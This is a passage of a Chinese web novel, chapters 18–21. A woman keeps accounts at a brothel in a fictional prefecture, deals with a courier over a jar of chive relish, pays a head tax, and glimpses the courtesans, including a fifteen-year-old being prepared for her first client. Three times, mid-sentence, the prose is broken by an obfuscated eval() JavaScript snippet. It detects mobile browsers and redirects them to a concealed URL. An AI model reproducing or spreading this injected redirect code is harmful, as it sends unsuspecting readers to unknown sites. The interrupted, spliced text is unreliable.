繁金楼不营业,葛娘子那里就不用洗衣裳,但是楼里还有别的事情要做——墙要粉,漆要刷,楼梯地板要重新检查修缮,各处装饰用的花草字画也要跟着时节换成新的。 朱老大不在,楼里只有韩娘子一个管事的,里里外外的既要管人事又要算钱账,正忙得头昏脑涨。 周娘子会做人,把细姑的本事跟韩娘子夸了一通,说是能帮着顶过几日。 于是细姑告假一回去,就被韩娘子叫进了繁金楼。 她第一次进这座楼。 繁金楼有四个门,一个临街的正门,一个靠河的的水门,这两个门专供楼里的客人使用。 水门边的楼体沿河伸出一段矮房,矮房这里另有一个角门,楼里人、货进出都从此门走。 从角门进去,穿过一条甬道,掀开一扇门帘就能看到繁金楼的内部。 正中是一人高的四方台,上下两层只设雅间没有看座。 墙壁粉白,檩柱漆红,其间仆妇往来,脚步匆匆。 细姑在繁金楼里给韩娘子打下手,还是算数。 她觉得自己现在成了一件趁手的人形算盘——那边钱数听进来,这边结果算出去。 还不怎么费钱,一天照旧是三十文——整个宁州府也难找这么便宜好用的账房。 两天时间,繁金楼焕然一新,楼里上上下下都等着朱老大回来过清明——娼门之中也要做特定的祭祀。 细姑在清明当天终于见到了这位朱老大,这是一位高挑艳丽的美人,肤色略黄,面容严肃,看着不像青楼老鸨,像是哪位大宅里的正头夫人。 她一双瞳色极浅,琥珀一样。 而此刻这双琥珀般的眼睛正盯着细姑,“这人是谁?我怎么没见过?”朱娘子问道。 细姑被这位朱娘子看着就像被老虎盯上了一样,默默低下了头,根本不敢说话。 “给九指婆打下手的,这两天楼里缺人,我喊过来帮忙!”韩娘子回道。 朱娘子听了这话,转而问道:“那两个病了这些日子,还没养好?” 韩娘子摇头。 朱娘子不再过问,领着楼里众人祭祖师。 祭案设在帘后甬道内。 案上有两尊木质人像,左边是管子,右边是柳七。 细姑坠在祭祀队伍的最后。 祭祀开始前,上首的朱大娘子问了一句,“这次楼里有几个人没来?” 韩娘子回她,“除了生病不能来的仆妇,就只有扇奴和楚邀没来。” 朱娘子沈思片刻,点点头,道:“楚邀前些日子刚死了爹,自然要先祭拜亡父,至于扇奴——不必管她,我自有理会。” 祭祖师自然是先祭管子。 朱大娘子手持三根线香,领着众人跪下,对着管子像念念有词,词念好后又拜了三拜。 祭过祖师,再吊柳七。 吊柳七是哭吊。 繁金楼里的人都极会哭,眼泪说来就来,个个哭的姿态漂亮,声音好听。 有些个哭着哭着还唱起词来。 那唱腔听得细姑云里雾里,一会儿妾啊一会儿郎的。 她想着自己只是来繁金楼打工的,又不是娼门中人。 便也不准备祭拜。 但是看着众人的情形,也不好干站着,于是垂头弯腰朝上首拜了几拜。 吊完柳七的朱大娘子缓缓起身,用帕子抹了下眼角,余光瞥向身后众人——旁的都还好,只有最后头新来的那个,像猴子学人,左手搭着右手,拜来拜去,看起来不伦不类,令人蹙眉头。 罢了,不过是个洗衣打杂的。朱娘子眼不见心不烦。 朱娘子将众人叫起,又对着韩娘子吩咐了几句,便带着两个仆妇走了。 韩娘子命众人洗漱后,交代了几句体面话,也让队伍各自散去。 眼看着没事,细姑也要走。 “洗衣院算账那个,你过来!”韩娘子叫住了细姑。 细姑虽然不知道韩娘子叫住自己还有什么事,却也乖觉地走上前去,“韩娘子还有什么事情要我去做?” 韩娘子吩咐道:“这些日子楼里缺个卷帘子的,你晚上过来后台帮着卷几天帘子!” “我?”细姑指指自己,随即答应下来,“好的!” 韩娘子又道:“没有工钱!” “晓得了!” 见细姑答应下来,韩娘子要走,又想起什么,若有所思地看着细姑,“刘月儿呢?” 韩娘子怎么还惦记着刘月儿? 细姑觉得头大,“跟他娘在一起。” 她想着先敷衍过去再说。 但韩娘子是谁,在风月场上人精堆里浸淫了大半辈子的老人儿,可不是贺老二那样能随意糊弄过去的。 她就站在细姑跟前,也不吭声,擎等着细姑往下说。 眼看着糊弄不过去,细姑飞快地觑了韩娘子一眼,接着道:“刘月儿和他娘最近很好,衣食无忧,只是整日里调皮捣蛋,前几天刚被她娘打了一顿。打了就嚎,也不改,还是闯祸。” 细姑的话叫韩娘子笑了。笑起来的韩娘子不复平日里的精明,让人觉出几分俏丽。 察觉到细姑在看自己,韩娘子拿帕子压了压嘴角,脸又拉了下来,“你卷帘子的时候务必小心,楼里的姑娘小倌个个精贵,叫帘子碰破了一点油皮,我唯你是问!” 细姑猛点头,内里腹诽:帘布还能给人蹭掉皮? 往后几日,细姑白天去洗衣院给葛娘子打下手,晚上在繁金楼后台,跟沙和尚一样当个卷帘大将军。 才干第一天晚上,她就明白了这繁金楼里管事的都是人精,最会拿别人的钱财来平自己的人情。 周娘子是这样,韩娘子也是这样。 原来楼里的客人除了给姑娘们花银子,还会打赏伺候的仆妇龟公。 这些人得了打赏,三成上交,五成自己留下,最后两成,众人的合在一处,分润给楼里的其他人。 细姑第一天晚上就得了五分银子。 这半片蚕豆大的银子能换四五十个铜钱,随随便便就比在洗衣院里洗了半天衣服赚的还多。 怪不得楼里上上下下都着巴结韩娘子——她只要动动嘴皮子就能让你来财! 细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488910|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姑分到最多的一次——足有一钱银子。 那天是楚邀姑娘的台场。 短短几个月就名满宁州府的楚邀姑娘,是个才十五岁的小姑娘——面容清甜,身体因为还没发育完全而显得极为纤细窈窕。 繁金楼里,能让人尊称一句姑娘少爷的,不仅要长得好、会看脸色、会来事,还要有一手绝活——他们都是要上台表演的。 表演的好不好、场子热不热闹不仅关系着他们自己的前程,还连带着影响仆妇龟公们的打赏银钱。 楚邀上台那个晚上,夜风还是有些冷,但她的衣裳极为轻薄。 一股一股的裙褶像花瓣一样将她的纤腰裹起,又随着她的动作铺展开来。 一曲舞罢,银子流水般地进了后台。 散场的后台里,细姑看到刚才还在台上笑意盈盈满场旋舞的楚邀,正闭着眼睛,面无表情靠在一位妇人怀里。 舞了一晚上,这一看就是累坏了。 那妇人和楚邀长得颇为相像,大约就是她的母亲了。 细姑从她们身边路过的时,她正拿着帕子细细地擦拭女儿额头、颈项上的汗水。 看这一番母女情形,细姑心里颇为难受。 不是生计艰难无以维系,哪个当娘的会把自己好好的女儿送到这里来? 于是分银子的时候就没什么兴致。 旁边就有人问她,“你做什么不高兴?嫌分得少了?”。 细姑哪敢作此等想,将脑袋摇得像拨浪鼓一样,“没有!没有!我就是觉得楚邀姑娘可怜,一晚上的,累成那样!” 旁边的人听了细姑这话好似听到了天大的笑一般,“你可怜谁不好,可怜正当红的姑娘!” 那人像看傻子一样地看着细姑,“她老娘都不心疼她,你心疼?再说她一晚上挣的,够你挣几年!收收你的烂好心,先可怜可怜自己吧!” “有这么多?”细姑问道。 “楼里一年里光是为了这些姑娘少爷,交给衙门的花捐银就有上万两,这才到哪儿?”那人语气颇不以为然。 “你的意思是今天不算多的?”细姑不禁好奇,“那更多的是多少?” 那人抖搂起来,“咱们楼里还有位柳扇奴柳姑娘,那位才是实打实的财神娘娘!要是她上台,你这样的——”她伸出三个手指来,“最少也能得个三钱银子!” “这么多!”细姑惊讶了,“我怎么从来没见过这位柳姑娘?” “柳姑娘独居一处,等闲人物请不动她,因此来得少。” “哦——”细姑又问,“她不来楼里,那她去哪里认识客人?” 那人看细姑一窍不通,嫌弃道:“你什么都不懂,以后少在客人面前行走!省得以后得罪了人也不知道!” 说完细姑,又摆起架子教她,“那些有钱的、名声显赫的,在外办席请酒,少不得要姑娘作陪,才算有面子,柳姑娘多是在这种私人场面上行走——光是请她出门的车马费就得五两!” 一只脚迈出门就得五两! “这柳扇奴不得是个天上的仙女!下次她来了你一定要指给我看看!”她得好好看看出个门都得五两银子的人长了什么样子。 “诶——,她好认,不用我指,往那儿一站你就知道了!” 19. 第 19 章 花魁没等到,细姑先受不了了——她一天要做两份工,早上辰时三刻出门,晚上做到了子时才能从繁金楼里出去。 一天才十二时辰,细姑就要干七八个。 谁家好人受得了一天干这么长时间? 所以那两个病休的仆妇一回来,细姑立刻撂手不干了。 这个打赏钱谁爱挣谁挣!她好不容易捡了一条命,还想多活两年。 再说葛娘子虽然整日垮着脸,说话也不好听,但人不坏。比起楼里那群爱掐尖的人精,要好打交道得多。 跟着葛娘子在洗衣院里每天挣三十文钱,她觉得很安心。 细姑卷帘大将军不干的第二天,正好下了一场小雨。 只要是下雨,洗衣院就不用上工,她就能休息。 正好得闲去义顺镖行那边问问给白霜送信的情况。 一路上春雨虽小,却也会打湿衣裳。 细姑路过伞铺子买了一把油纸伞——竹制的伞骨、油黄的伞面,拿在手里颇有分量。 好伞值好价,这把伞花了细姑一百文钱。 四友厅里沈掌柜正在谈生意,细姑不好在厅里呆着,自觉去了门外。 也没撑伞,就在屋檐下躲雨。 义顺镖行今日有镖。 沈宿正要出门,就看见了站在檐下躲雨的细姑。 约定的回信的日子已经过了好些天,他都以为这妇人不来了。 沈宿略停了一下,转身又回了大门内。 顺义镖局前面就是宣正大街。 细姑觉得这里也没什么好看的,街上不是铺子就是人,要不就是驴马在拉车送货。 不像惠民渠那边,一路走来,景色甚好——烟雨蒙蒙眯眼,垂柳条条映水,河上船只摇橹,岸上行人漫走。 “王家娘子?”有人再叫细姑。 细姑一回过神就看到了沈宿,只见他今日穿着一身黑衣,甚是利落精神,手里正拎着一个小陶罐。 她先为了前几日爽约的事情道歉,“沈镖头,过意不去,我前几日不得空,今日才来向你讨要消息。”细姑看了沈宿身后,继续道:“您这是要出门送镖?” 沈宿道:“正是!王娘子,信我已送到,李家共有五口人,白家娘子上有一位婆婆,下有二子一女,李树李果李叶,还有一只狗叫大黄。” 镖行送信送货回转过来要有凭证带给投镖之人,但细姑想不到自己能要什么做凭证,便和沈宿约好,以李家几个孩子的姓名作为凭证。 现在沈宿说的半点不差,细姑便知道自己的信他确实是送到了。 只是细姑仍然觉得哪里怪怪的——这位沈镖头今日的态度似变得有耐心了一点? 不过这些不重要,先把消息确认好,“那她有没有什么话要带给我的?” 沈宿心说:那可太有了! “白家娘子把东西收了,问你安好,让你在外多注意身体,祭祀的事情她会代你去,请你不必担心。大儿子李树说他的大黄捉了两只活兔子回来,等你下次来给你看!二儿子李果说你怎么不自己回来,下次早点回去看看他们。” 说了这么多,沈宿顿了一下,把手里拎着的罐子递给细姑,“那家的婆婆托我给你带了一罐韭菜齑。” 韭菜齑就是用韭菜做的酱,这时代,人家里,到了时节,各种吃不完的菜蔬,要么做成干菜,要么制成酱菜,等到了冬日没菜吃,正好拿来拌饭。 沈宿送信的的时候,被这家人招待了一顿饭食。 山下贫苦人家的饭菜,不过是寻常吃食,没什么好说的。只有这个韭菜齑,味道十分的好,他问了是谁做的,才知道竟是这家瞎了眼睛的婆婆做的,所以只得了两罐。 一罐要带给在宁州府的王家娘子,另一罐,当天为了待他自己这个客人,已开封食用。 一开始他提出用钱来买,人家还不愿意卖。 原来这家的几个孩子也爱吃这个。 最后,他用了一个让这家人无法拒绝的理由,带走了那罐已经开封的韭菜齑。 他到现在都还记得那家叫李果的二儿子,为了保住最后一罐韭菜齑,躺在地上撒泼打滚的样子,他还一直对着自己喊坏人来着。 坏人就坏人吧,他被小孩子骂坏蛋又不是一回两回,不痛不痒的,这么好吃的韭菜齑要是没拿到手,他得天天惦记着。 韭菜齑佐肉,上上佳品,尤其是腌得这样好的。 沈宿自己还没舍得吃上两顿,就让镖行里的一群蝗虫给掏完了。 一想起罐子里面的韭菜齑只剩下了一点汁水,沈宿的腰又弯了一点,说话的语气也更加和善。 “王娘子,请恕在下冒昧,不知您这罐韭菜齑能否割爱?我家中两个外甥爱吃这个,可厨下人都做不出这样的好味道!” 沈宿语气诚恳地将锅推给了两个外甥。 这外甥是舅舅家的狗,吃了舅舅的,自然要替舅舅背一口嘴馋的黑锅。 细姑,“嗯?” 沈宿又忙道:“娘子放心,沈某价钱优厚!” 沈宿的话叫细姑垂下了眼睛,心道:我说这姓沈的的怎么前倨后恭,闹了半天是为了这个。 能让一个看起来这么不爱东西的人都觉得好吃的东西,那味道一定错不了。 细姑张大眼睛看向沈宿,让自己的模样尽可能真诚一些,“沈镖头,不巧了,我家中也有一个挑剔不爱吃东西的孩子,怕是要让您失望了!” 传说中挑食的孩子——刘月儿…… 好容易拉下脸来求细姑的沈宿…… 沈宿不动,细姑笑着伸出双手,从沈宿手里拿过了那罐韭菜齑。 她觉得自己的样子看起来必然有几分奸佞小人的味道,因为她心里真有一个张狂的小人在奸笑——昨日看你姓沈的脸色,今日你来求我,自然也不那么好使! 细姑拿到罐子,一脸笑容灿烂,临走还不忘补上一句,“沈镖头,我妇道人家,只知道韭菜齑就着粥吃,不吃您还知道哪些东西可以配这韭菜齑吃?我回家给我那个挑食的孩子试一试。” 沈宿看着细姑的脸色,就知道这女人最后一句必定是故意的。 他劲瘦的腰杆子又挺得笔直,变得惜字如金起来,“肉!” 说完就走! 就跟吃火锅涮羊肉蘸韭菜酱一个道理,细姑了然。 细姑还不太会使用火石生活,想自己做点饭肯定是不成。 于是只能在路上踅摸这找点填嘴的吃食——路边的炸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488911|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻花就不错。 炸麻花要用细面、香油、香料还有糖——这是都炸麻花摊摊主跟细姑说的,他家的麻花要三十文钱一斤。 细姑觉得有点贵,但还是买了半斤甜口的,半斤咸口的。 买完了又有点心疼钱,三十文钱毕竟是自己一天辛苦下来的工钱。 这边刚心疼完钱,那边看到有肉铺子在卖羊肉。细姑看看自己手里拎着的韭菜齑,又掏了四十五文钱,买了一斤羊肉。 “这宁州府真是什么都卖,什么都贵啊!”细姑嘀咕,“就差喘口气都要钱了!” 话果然不能乱说! 细姑一回泉布巷,就见里正带着两个公人再敲自己的大门。 一见细姑回来,那里正先上前自我介绍:“我乃本坊里正,姓张名敬,”张里正伸手向后介绍两位公人,“这位是乔捕头,这位是梁司吏,两位代本县来缴人头税。” 宁州府乃是一省首府,下辖一个郭阳县,泉布巷就在郭阳县县衙不远。 至于人头税,那才真是只要在城里需要长久喘气的都要缴纳。 “你家几口人?何时搬来的?” “三口人,一个月前刚来。” “一人一年两百文,三个人六百文!” 小孩儿也交税?细姑不禁问道:“公差大爷!我家那个小的才五岁,也要交?” 拿笔的司吏看了一眼细姑,面无表情道:“宁州府,凡满周岁者皆要缴纳人头税!六百文!” 细姑真想骂定下这个规矩之人的十八辈祖宗! 她没有那么多的铜钱,在繁金楼里熬了几天夜班才得来的几钱银子,又这么全都出去了! 晚上丽娘下工回来,做饭的时候,细姑把这事儿跟丽娘说了。 丽娘没安慰她,反而说她傻, “你看见那干公差的不该停下来,就当走错路了,转头走了不就行?”丽娘这样说。 “还可以这样的?”细姑上辈子是个骑电动车都会带好头盔的好宝宝,从来没想着要躲警察叔叔。 原来这时代,大家对这些公差这么避之不及的吗? 丽娘又道:“你就是停下来了,他问你,你就说家里两个人就行,月儿这么一点的孩子,说不说的有谁知道?” 细姑受教了。 “把碗盘拿来!面好了,我再把肉捞出来切一盘子就有!吃饭吧!”丽娘吩咐道。 细姑放下火钳,照着丽娘说的做。 晚上吃羊肉汤面和薄切羊肉蘸韭菜齑。 韭菜齑辛辣咸鲜,佐肉吃,去油腻腥膻,滋味极佳。 “怪不得姓沈的要买我的这罐!”细姑嘴里吃着东西含混道。 “你说什么?”丽娘没听清。 细姑把吃的咽下,将白天在镖行发生的事情和前些日子投镖的情形都和丽娘讲了。 “亏你没卖给他!”丽娘笑道,“不然咱们今晚吃不到这么好吃的东西!” 两大一小,三个人,将羊肉和面条吃得精光,连汤都没剩一口,韭菜齑也去了小半罐。 吃撑了也是一种幸福的烦恼,细姑人懒也要在院子里面转圈。 她心想:驴子转圈拉磨,我王畅转圈消食! 还行!还行! 20. 第 20 章 四月里的一天,细姑如往常一样,在和周娘子交割衣物料子。 葛娘子突然道:“我月底就走了!” 细姑顾不上滴了墨汁的账簿,看向葛娘子,一脸疑惑。 什么叫月底就走了? 周娘子倒是很淡定,“朱老大同意了?” 葛娘子点点头,“赎身银已经交了,过几天交割完户籍身契就走。” 周娘子端起茶杯,“你也算是苦尽甘来,我以茶代酒,敬你!” 葛娘子端起茶杯,二人一饮而尽。 细姑看着两人,一头雾水,不知所措。 周娘子放下茶杯,对葛娘子使个眼色,“你还没跟她讲?” “她又不在娼门里,跟她讲什么?”葛娘子看看筐子里面的衣服,“她就是来混口饭吃的。” 细姑不爱这种别人当面打哑谜的感觉,把手里的活先放着,也找了个椅子坐下,“怎么叫跟我讲什么?我好歹跟葛娘子你干了这么些日子,你不能瞒我,也得跟我讲讲。” 干了一两个月,细姑早就不是初来乍到时处处小心的样子。 “你来的晚,年纪还轻,她不好意思跟你说这些。我来跟你说。”葛娘子笑眯眯地让细姑凑上前来。 细姑瞄一眼葛娘子,看她没什么反应,放心大胆地听周娘子讲古。 “她葛九,”周娘子指指葛娘子,“十几年前,是我们枇杷巷里赫赫有名的的色盅娘子,哪个来巷子里玩的没猜过她葛九裙子底下的色子!” “葛九?葛娘子不是因为这个——”细姑伸出手来,“才叫那个的?” 葛娘子不是因为少了一根手指头才叫九指婆的? “嗨!”周娘子手一扇,“她十个手指头的时候叫葛九娘,九个手指头的时候就叫就九指婆,反正都是她!” 周娘子顿了一下:“哎呀,我不是要说这个,我是要告诉你,葛九她要赎身出去嫁人了!” 细姑惊讶,“嫁人?嫁谁?” “西城门外三十里,开油坊的曲老三!”周娘子给自己又倒了一碗茶,“她十几年前就应该出去了?” “那做什么又等到了现在?”细姑问。 “哎呀,这就小儿没娘,说来话长了——” “不用你说来话长,”葛娘子插了进来,“又赌了一次,把赎身银子输光了!” 周娘子竖起两根手指头,“两千两!” 细姑惊道:“两千两!这么多!” 繁金楼的确是个销金窟,但是妓女的钱也不是那么好挣的,挣来的钱,楼里要抽取大半,平日了为了巴结鸨母、笼络仆妇龟公,还要出去一笔银子,最后剩到手里的能有十之一二都算是好的。 葛娘子年轻时这样的名气,要攒两千两银子,只怕也是不容易。 葛娘子又不说话了。 周娘子接到,“是啊,两千两,她自己当红时攒了大半,曲老三也掏了家底补了小些。一晚上,都没了。” 那段回忆想起来必定悔恨,说起往事,葛娘子的声音暗哑缥缈,“我一直以为自己运气好,从来赢得多输得少,可是人心不足啊,就想着再去赢一把,多赢一点钱,出去以后,和老三的日子就多好过一点……” 葛娘子说不下去了。 细姑在心里补了一句:人算不如天算。 周娘子也叹道:“半辈子又搭进去了!” “那这么些年,还是那位曲三爷?”细姑问道。 说到这个,葛娘子难得有些笑意,点了点头。 周娘子低头看看自己手里的茶水,叹道:“枇杷巷这么多年就出曲三哥这么一个痴情男人,偏生让你给碰上了,你呀,怎么不是一种好运道?” 周娘子背后说人从来挖苦的多,难得能听到她背后说别人一句好话,看来这位曲三确实是人品不错了。 细姑高兴地拍拍手,“那什么时候有空,我们吃顿好的庆祝一下!” “细姑说得对!合该庆祝一下!”周娘子十分赞同。 葛娘子点头。 这位曲老三,真名曲达,样子看起来平平无奇。 是真的平平无奇。 不高不矮,不胖不瘦,不俊不丑,话也少说。 葛娘子与他看起来有几分互补之相。 至于他二人是怎么认识的? 没人问,因为没人答。 葛娘子在请酒的前一日,再三叮嘱细姑,不让她送任何东西。 “你一个月挣不到一两银子,实在不必为了我再搭进去一些。我马上走了,还不起你这份情!”她说得郑重。 细姑答应了。 她没花钱,只把家里剩下的一点韭菜齑带了过去。 席面简薄,葛娘子只准备了一些酒水和几样外面买来的肉菜,唯一一点素的就是细姑带来的韭菜。 对这个,葛娘子倒是没说什么。 除了细姑和周娘子,只有楼里的几个老人来送葛娘子。朱大娘子和韩娘子没来,各自托人送了二两银子的仪程。 葛娘子和曲达向众人敬了一圈,最后来到细姑面前。 “细姑,谢你这些日子的勤勉,也谢你这些时日的早点!”葛娘子对着细姑一饮而尽。 细姑慌忙起身,想要说点什么。 葛娘子喝了酒,伸手示意细姑不要说话,“我走后,新换的人不知道还用不用你,你要趁早找出路!” 葛娘子醉的有些站不稳,曲达在一旁稳住了她的身子。 “这里不要你,你就跟我,我眼睛早花了,每天那么多的账簿子要写,正愁没人呢!” 周娘子眼馋细姑不是一天两天了,早就想把细姑弄走给自己干活,也就是碍着葛九一直没有动作。 今天正好,趁着这会儿把话说了。 “你来不来?”她问细姑。 到哪里干活不是干?又不是没给周娘子干过。细姑没多想就同意了。 得到细姑的答复,周娘子高兴地一拍桌子,“那说好,葛九一走,你就到我哪里去,管他后面的要不要你!” 周娘子有些醉了,她站起身来,拿手指着细姑,“我的地方你知道啊!一定来!” 细姑就这么换了个地方,在周娘子手底下做事。 工钱没变,每天还是照旧领着三十个铜板。 周娘子管着楼里各种的衣物料子。这些东西分门别类的收满了两间库房。 每日都有人进进出出,领衣物、换衣物。 周娘子在前面跟人打着嘴上官司,细姑就在她后面的桌子上提笔记账。 她一枝竹笔画得飞快,早不见当时还要向人讨教字划时的窘境。 要说跟着周娘子有什么好处,那还是有的。 衣物料子穿拿脱放,哪能不磕着、碰着,有了磕碰就需要找周娘子想办法给弥补 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16488912|185765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一二。 这样就得给周娘子一点好处。 周娘子得了旁人的好处,就会分一点给细姑。也不多,十几日下来得了三四回,大约二钱的银子。 这日细姑帮着周娘子收放好衣物,算好账簿子,准备下工回去。 周娘子叫住她,“你今天急着回去有事情。” 细姑摇摇头,“没有!” “今天上有热闹看!留下来看看热闹!”她递给细姑一把瓜子。 这个时代人磕的是西瓜子。 细姑接过瓜子,“什么热闹?” “今天有位老爷做生,包下了整个繁金楼,晚上还要放烟火!” 这位老爷用了多少银子,细姑不知道。 她只知道烟花真漂亮,看烟花的人真多,蚂蚁一样挤满了繁金楼附近的街巷、河岸。 细姑挤在人堆里,一抬头,看到了繁金楼上漫天的烟火,也看到了那位传说中的柳扇奴——碧衣金簪,簪头坠下一颗红宝,烟火盛放时,鬓边一点红闪随着她手里的轻罗团扇微微晃动。 楼上人影幢幢,独她一人看着比旁人清晰些,像是得了哪位丹青手的钟爱,被细细勾勒了一番。 这确实是一位不需旁人多做介绍的美人。 可惜美人儿只站了一会儿便从窗边离开了。 细姑甚至没看清她的脸。 没看清也不要紧,一定是个极美极美的美人。 柳扇奴不见了,烟火变得索然无味。 细姑还回到周娘子的库房。 “烟火放完了,你这么早回来?” 细姑摇摇头,反问周娘子,“你怎么不去看烟火。” 周娘子一边嗑着瓜子,一边看账,头都没抬,“每年都有几回,有什么好看的?” 磕完手里的瓜子,她拍拍手,抖抖裙子,“你回来了正好,替我跑一趟,给柳大姑娘送身衣裳。” 周娘子起身去了库房最里头,不多时,捧出一身衣裳出来——衣裙皆玉白,上面拿着金银线绣着纹样,纹样在在灯光下时隐时现。 细姑拿起一个托子,接住衣裳,“哪个柳大姑娘?” “还能是哪一个?柳扇奴!” “呕!送去哪里?” 周娘子觉得今天的细姑像个呆子,“去后台,楼里人都是在那里换衣裳,” 她又催道:“快去!” 繁金楼后台的甬道颇为宽阔,有些地方还隔出一些小间来。作为繁金楼一等一的红姑娘,柳扇奴理所当然有单独的一间。 细姑就捧着衣裳,站在一个她的小间门口。 不多时,小间的主人带着一个红衣绿裙头扎双环的小丫头从卷帘下欠身走来。 细姑看清了这位柳扇奴的长相——也说不清眉是什么眉,眼是什么眼,只觉得她脸上处处妥帖、样样合趁,皮肤像上等的绢料,细白、匀净。 真是无一处不美。 “是周娘子让你送来的吧?”小丫头笑眯眯地接过衣物,又给了细姑一角银子。 细姑呆呆地点头,手里被塞了一块银角也不在意,还是看着柳扇奴。 许是细姑单纯痴迷的欣赏太过直白,美人的脸上隐隐露出几分笑意,她对细姑几不可见地点了一下头。 这一下叫细姑心里油然生出一股欢喜来。 这样的美人出趟门才五两呢!她看一眼都觉得自己像是赚了十两! 21. 第 21 章 柳扇奴打赏的银子正好三钱。 细姑白天算衣服料子写账簿的空隙,常会把这块银子掏出来看看。 周娘子手里打着扇子,半倚在桌边,“动不动就拿出来看,这么好看?” 她问的是人还是银子? 细姑懒得分辨,只是一个劲的点头,“嗯!嗯!嗯!”。 声音里压不住的喜欢。 这是她两辈子以来见过的最好看的人,仙女一样,怎么能不喜欢。 转眼四月到底,春天马上过去。 朱大娘子带了一帮人来周娘子的库房例行查账,韩娘子也在。 查了一下午,料子、数量、账簿,全都对得上。 没有任何问题,周娘子顺顺自己心口的气,悄悄地给了细姑竖根大拇指。 细姑暗暗点头回应。 朱大娘子查账,一阵风的来,又一阵风的去。 库房里又只剩下细姑和周娘子。 瞧着人走远了,细姑叹道:“朱老大好厉害!好气派!”她现在也跟周娘子学着叫人外号。 周娘子给自己到了一杯茶,手里的扇子扇得冒烟,嘴里又在编排人,“厉害什么?真厉害还能回来?” 细姑没听懂。 周娘子一看细姑的样子,指指使着细姑去门口看看。 “没人!”细姑扒着门框到处扫了一遍。 “坐!” 细姑找了个凳坐下。 周娘子拿扇子挡着脸,“咱们这位朱老大,本名朱玉,以前在我们整个南国的这个行当里面,是这个!” 她比起一根大拇指,接着道:“后来从良了,光是赎身银就五千两!” “那怎么又回来了呢?”细姑好奇,能出起五千两赎身钱的人家,怎么会让自家后宅的妇人又回到这个行当? “不知道,反正据说生了一双儿女又出来了。一回来就把原来的杨老鸨给挤走了!”周娘子喝口茶,“朱老大这人样样拔尖,不是家里蒙难,她这样的凤凰,落不到我们这样的地界。”周娘子的语气里有些羡慕又有些可惜。 人有三六九等,青楼之间也分高下之别。 繁金楼这样的行业翘楚,收姑娘也自有一番要求。 首先是要养人。 挑了好苗子,先养言谈举止,再养一技之长。 其次是要养名气。 没有哪个顶尖的妓女是一上来就送到客人床上的,那样的卖不上身价! 要先把养好的姑娘介绍开来,名气捧得高高的。再让姑娘从一群或是有权、或是有钱、再或是有名的客人里面选一个最合心意的,做她的第一位郎君。 这叫选婿。 繁金楼要赶在端午前两日,给楚邀姑娘办一场选婿宴。 这场选婿宴本来该办在花朝节那天,只是楚邀姑娘的亲生父亲死了。 朱大娘子特意让楚邀守了百日孝。 这样既是尽了人伦,又能攒忠孝的好名声。总归哪样都不亏。 选婿宴那天气氛要哄的热闹些,楼里的人手又有些不够。 细姑再次被韩娘子点去卷帘子。 她守着帘子,听见楼里仆妇龟公因为这场推迟的选婿宴,夸繁金楼的老板和当家仁义有情的时候,强忍着,白眼才没有翻出来。 楚邀是繁金楼这一两年里力捧的姑娘,又已经有了像样的名气。 她选郎君,来的自然都不是等闲之辈。 宴席办得盛大,连细姑这样临时过来帮忙卷帘子的,腰上都要系一条红绸帕子——也不知道这帕子用过多少回了。 “今天晚上一二两银子的打赏是少不了的!”后台的众人都很兴奋。 有人附和道:“是啊,就是这样的好宴太少,要是一年能来个那么三四回,就好了!老爷们的美人,姑娘老鸨得名利,咱们这样的小鱼小虾,也能跟着喝口好汤!” “嗨!谁不想呢?这东西也讲究个天时地利人和,再说楚邀这样好资质的姑娘,哪里是这么好找的!又不是路边的石头,走两步就有。” “嗨!”语气里尽是可惜。 “诶!别说了!”另一人提醒道:“人来了。” 细姑也跟着看过去。 楚邀今天穿了一身的红,裙腰还是掐得那么纤细,鬓发完全梳起,上面插带着一副金玉首饰。头上没遮上盖头,手里也没拿却妆的婚扇,只有一条跳舞时用的披帛搭在肩头手腕。 她由母亲在前头领着,一步,一步,走到卷帘前,停下,等待。 帘外头响起朱娘子的声音,这是细姑第一次听见朱娘子这么和善的声音。 “众位郎君,我家小女楚邀,资质平平,如今年满十五,刚过及笄,本该在花朝节时就选好郎君。不想她生身父亲过世,这孩子又有孝心,一定要守了她父亲的百日,才肯选婿婚配。耽误了这些时日,是我们的不是。” 以贬代褒、以退为进,这一手朱娘子玩得熟络。 说道这里她停了下来,向来此的宾客鞠躬致歉。 楼里有人回她,“为父守孝,天经地义,楚邀姑娘孝心纯善,何错之有!无碍!无碍!” “谢郎君体恤!”朱娘子谢过,又道:“常言说得好:郎有情妾有意,在座的各位郎君都是这世上一等一的好郎君,儿大不由亲,今日若成鸳鸯,还需小女点头。” 今日能来这场宴席的客人,不论人品如何,只说家室身份自然都是一等一的,无论楚邀怎么选,都不会折了她的身价。 